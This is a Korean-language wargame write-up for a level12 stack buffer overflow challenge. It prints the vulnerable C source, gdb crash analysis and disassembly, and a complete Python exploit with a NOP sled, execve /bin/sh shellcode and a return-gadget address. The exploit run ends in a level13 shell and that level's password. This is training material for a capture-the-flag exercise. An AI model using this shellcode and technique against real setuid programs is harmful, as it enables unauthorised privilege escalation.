이 문제를 풀기위해 어언 1년이 걸린거 같다...
마침에 최종 레벨을 다 풀어냈다. 이 감격이란 -_-......
/*
* Anyone hating this level yet?
* Having problems?
* good... ;)
*
* Created by: ddle
*
*/
#include <stdio.h>
int
func(arg)
char *arg;
{
char buf[40];
strncpy(buf , arg , 64);
return 0;
}
int
main(argc , argv , envp)
int argc;
char **argv;
char **envp;
{
if(argc > 2 || *envp)
{
printf("Tcuk Tcuk Tcuk\n");
exit(1);
}
if(strchr(argv[1] , 0xbf))
{
printf(".tsol m'i kcuF\n");
exit(1);
}
func(argv[1]);
return 0;
}
일단 먼저 if(argc > 2 || *envp) 부분을 보게 되면 인자를 하나만 줄수 있으며 환경변수가 없어야 한다.
그리고 인자로 줄 주소에 0xbf 를 체크한다. 따라서 기존 문제처럼 풀이를 할 수가 없다...
우선 /tmp 폴더에서 작업을 해보자. 문제 파일을 복사해 와 core 파일을 남기도록 하여 우선 아래와 같이 공격을 해보자.
level12@blowfish:/tmp/by$ env --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.
-i, --ignore-environment start with an empty environment
-u, --unset=NAME remove variable from the environment
--help display this help and exit
--version output version information and exit
A mere - implies -i. If no COMMAND, print the resulting environment.
Report bugs to <bug-coreutils@gnu.org>.
level12@blowfish:/tmp/by$ env -i level12 `python -c "print 'A'*80"`
Segmentation fault (core dumped)
level12@blowfish:/tmp/by$ gdb level12 core.19822
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Reading symbols from /lib/snoopy.so...done.
Loaded symbols for /lib/snoopy.so
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
[New process 19822]
#0 0x41414141 in ?? ()
(gdb) q
우선 env 명령어를 이용하여 환경변수를 다 날린 후 실행을 하도록 한다. 그럼 환경변수 체크를 하는 부분은 우회를 할 수 있게 된다. 이제 core 파일을 확인한 결과 우리가 입력한 부분에서 에러가 난것을 확인할 수 있었다.
이제 정확한 위치를 파악하도록 해보자.
level12@blowfish:/tmp/by$ env -i level12 `python -c "print 'A'*60 + 'BBBB'"`
Segmentation fault (core dumped)
level12@blowfish:/tmp/by$ gdb level12 core.19961
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Reading symbols from /lib/snoopy.so...done.
Loaded symbols for /lib/snoopy.so
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `level12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'.
Program terminated with signal 11, Segmentation fault.
[New process 19961]
#0 0x42424242 in ?? ()
(gdb) q
정확하게 60개 이후에 우리가 원하는 주소를 입력할 수 있겠다. 여기에 이제 ret 주소를 입력하여 공격을 하도록 하자. ret 주소를 넣으면 esp + 4 위치를 참고하게 된다. 아래 gdb를 통해 확인한 과정을 살펴보자.
level12@blowfish:/tmp/by$ gdb level12
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <main+0>: push %ebp
0x0804844c <main+1>: mov %esp,%ebp
0x0804844e <main+3>: sub $0x8,%esp
0x08048451 <main+6>: and $0xfffffff0,%esp
0x08048454 <main+9>: mov $0x0,%eax
0x08048459 <main+14>: sub %eax,%esp
0x0804845b <main+16>: cmpl $0x2,0x8(%ebp)
0x0804845f <main+20>: jg 0x804846b <main+32>
0x08048461 <main+22>: mov 0x10(%ebp),%eax
0x08048464 <main+25>: cmpl $0x0,(%eax)
0x08048467 <main+28>: jne 0x804846b <main+32>
0x08048469 <main+30>: jmp 0x8048483 <main+56>
0x0804846b <main+32>: movl $0x80485e4,(%esp)
0x08048472 <main+39>: call 0x8048330 <printf@plt>
0x08048477 <main+44>: movl $0x1,(%esp)
0x0804847e <main+51>: call 0x8048340 <exit@plt>
0x08048483 <main+56>: mov 0xc(%ebp),%eax
0x08048486 <main+59>: add $0x4,%eax
0x08048489 <main+62>: movl $0xbf,0x4(%esp)
0x08048491 <main+70>: mov (%eax),%eax
0x08048493 <main+72>: mov %eax,(%esp)
0x08048496 <main+75>: call 0x8048310 <strchr@plt>
0x0804849b <main+80>: test %eax,%eax
0x0804849d <main+82>: je 0x80484b7 <main+108>
0x0804849f <main+84>: movl $0x80485f4,(%esp)
0x080484a6 <main+91>: call 0x8048330 <printf@plt>
0x080484ab <main+96>: movl $0x1,(%esp)
0x080484b2 <main+103>: call 0x8048340 <exit@plt>
0x080484b7 <main+108>: mov 0xc(%ebp),%eax
0x080484ba <main+111>: add $0x4,%eax
0x080484bd <main+114>: mov (%eax),%eax
0x080484bf <main+116>: mov %eax,(%esp)
0x080484c2 <main+119>: call 0x8048424 <func>
0x080484c7 <main+124>: mov $0x0,%eax
---Type <return> to continue, or q <return> to quit---
0x080484cc <main+129>: leave
0x080484cd <main+130>: ret
End of assembler dump.
(gdb) b *main+16
Breakpoint 1 at 0x804845b
(gdb) disassemble func
Dump of assembler code for function func:
0x08048424 <func+0>: push %ebp
0x08048425 <func+1>: mov %esp,%ebp
0x08048427 <func+3>: sub $0x48,%esp
0x0804842a <func+6>: movl $0x40,0x8(%esp)
0x08048432 <func+14>: mov 0x8(%ebp),%eax
0x08048435 <func+17>: mov %eax,0x4(%esp)
0x08048439 <func+21>: lea -0x38(%ebp),%eax
0x0804843c <func+24>: mov %eax,(%esp)
0x0804843f <func+27>: call 0x8048350 <strncpy@plt>
0x08048444 <func+32>: mov $0x0,%eax
0x08048449 <func+37>: leave
0x0804844a <func+38>: ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 2 at 0x804844a
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804845b <main+16>
2 breakpoint keep y 0x0804844a <func+38>
(gdb) r `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`
Starting program: /tmp/by/level12 `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`
Breakpoint 1, 0x0804845b in main ()
(gdb) jump *0x8048483
Continuing at 0x8048483.
Breakpoint 2, 0x0804844a in func ()
(gdb) x/32wx $esp
0xbfffd84c: 0x080484c7 0xbfffd9e9 0x000000bf 0xbfffd8b8
0xbfffd85c: 0x00126455 0x00000002 0xbfffd8e4 0xbfffd8f0
0xbfffd86c: 0x00e14088 0x00000001 0x00000001 0x00000000
0xbfffd87c: 0x08048261 0x00249ff4 0x080484d0 0x08048360
0xbfffd88c: 0xbfffd8b8 0xebb0c081 0x30c835fe 0x00000000
0xbfffd89c: 0x00000000 0x00000000 0x008e12e0 0x0012637d
0xbfffd8ac: 0x008e8ff4 0x00000002 0x08048360 0x00000000
0xbfffd8bc: 0x08048381 0x0804844b 0x00000002 0xbfffd8e4
(gdb) x/32wx 0xbfffd9e9
0xbfffd9e9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd9f9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffda09: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffda19: 0x41414141 0x41414141 0x41414141 0x080484c7
0xbfffda29: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162
0xbfffda39: 0x52455400 0x74783d4d 0x006d7265 0x5f485353
0xbfffda49: 0x45494c43 0x353d544e 0x32322e39 0x3134312e
0xbfffda59: 0x3533322e 0x31343420 0x32203931 0x53530032
(gdb)
위와 같이 ret가 호출되기 바로 직전에 esp+4 위치의 주소를 확인해보면 우리가 입력한 'A'가 들어가 있는걸 확인할 수 있다. 따라서 'A' 대신 'NOP + SHELLCODE' 로 구성하여 공격을 진행하면 될 것이다.
level12@blowfish:/tmp/by$ gdb level12
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <main+0>: push %ebp
0x0804844c <main+1>: mov %esp,%ebp
0x0804844e <main+3>: sub $0x8,%esp
0x08048451 <main+6>: and $0xfffffff0,%esp
0x08048454 <main+9>: mov $0x0,%eax
0x08048459 <main+14>: sub %eax,%esp
0x0804845b <main+16>: cmpl $0x2,0x8(%ebp)
0x0804845f <main+20>: jg 0x804846b <main+32>
0x08048461 <main+22>: mov 0x10(%ebp),%eax
0x08048464 <main+25>: cmpl $0x0,(%eax)
0x08048467 <main+28>: jne 0x804846b <main+32>
0x08048469 <main+30>: jmp 0x8048483 <main+56>
0x0804846b <main+32>: movl $0x80485e4,(%esp)
0x08048472 <main+39>: call 0x8048330 <printf@plt>
0x08048477 <main+44>: movl $0x1,(%esp)
0x0804847e <main+51>: call 0x8048340 <exit@plt>
0x08048483 <main+56>: mov 0xc(%ebp),%eax
0x08048486 <main+59>: add $0x4,%eax
0x08048489 <main+62>: movl $0xbf,0x4(%esp)
0x08048491 <main+70>: mov (%eax),%eax
0x08048493 <main+72>: mov %eax,(%esp)
0x08048496 <main+75>: call 0x8048310 <strchr@plt>
0x0804849b <main+80>: test %eax,%eax
0x0804849d <main+82>: je 0x80484b7 <main+108>
0x0804849f <main+84>: movl $0x80485f4,(%esp)
0x080484a6 <main+91>: call 0x8048330 <printf@plt>
---Type <return> to continue, or q <return> to quit---
0x080484ab <main+96>: movl $0x1,(%esp)
0x080484b2 <main+103>: call 0x8048340 <exit@plt>
0x080484b7 <main+108>: mov 0xc(%ebp),%eax
0x080484ba <main+111>: add $0x4,%eax
0x080484bd <main+114>: mov (%eax),%eax
0x080484bf <main+116>: mov %eax,(%esp)
0x080484c2 <main+119>: call 0x8048424 <func>
0x080484c7 <main+124>: mov $0x0,%eax
0x080484cc <main+129>: leave
0x080484cd <main+130>: ret
End of assembler dump.
(gdb) q
ret주소는 0x080484cd 이다. Payload 구성은 아래와 같다.
[NOP * 26] + [Shellcode, 34] + [RET]
#!/usr/bin/python
import os
from struct import pack
# length : 34
shellcode = ''
shellcode += '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b'
shellcode += '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
payload = ''
payload += '\x90'*26
payload += shellcode
payload += pack('<L', 0x080484cd) # ret
env = os.environ.keys()
for item in env:
os.unsetenv(item)
os.execl('/levels/level12', 'level12', payload)
level12@blowfish:/tmp/by$ ./ex.py
level13@blowfish:/tmp/by$ id
uid=1015(level13) gid=1014(level12) groups=1014(level12)
level13@blowfish:/tmp/by$ cat /pass/level13
0n3_m0r3.
level13@blowfish:/tmp/by$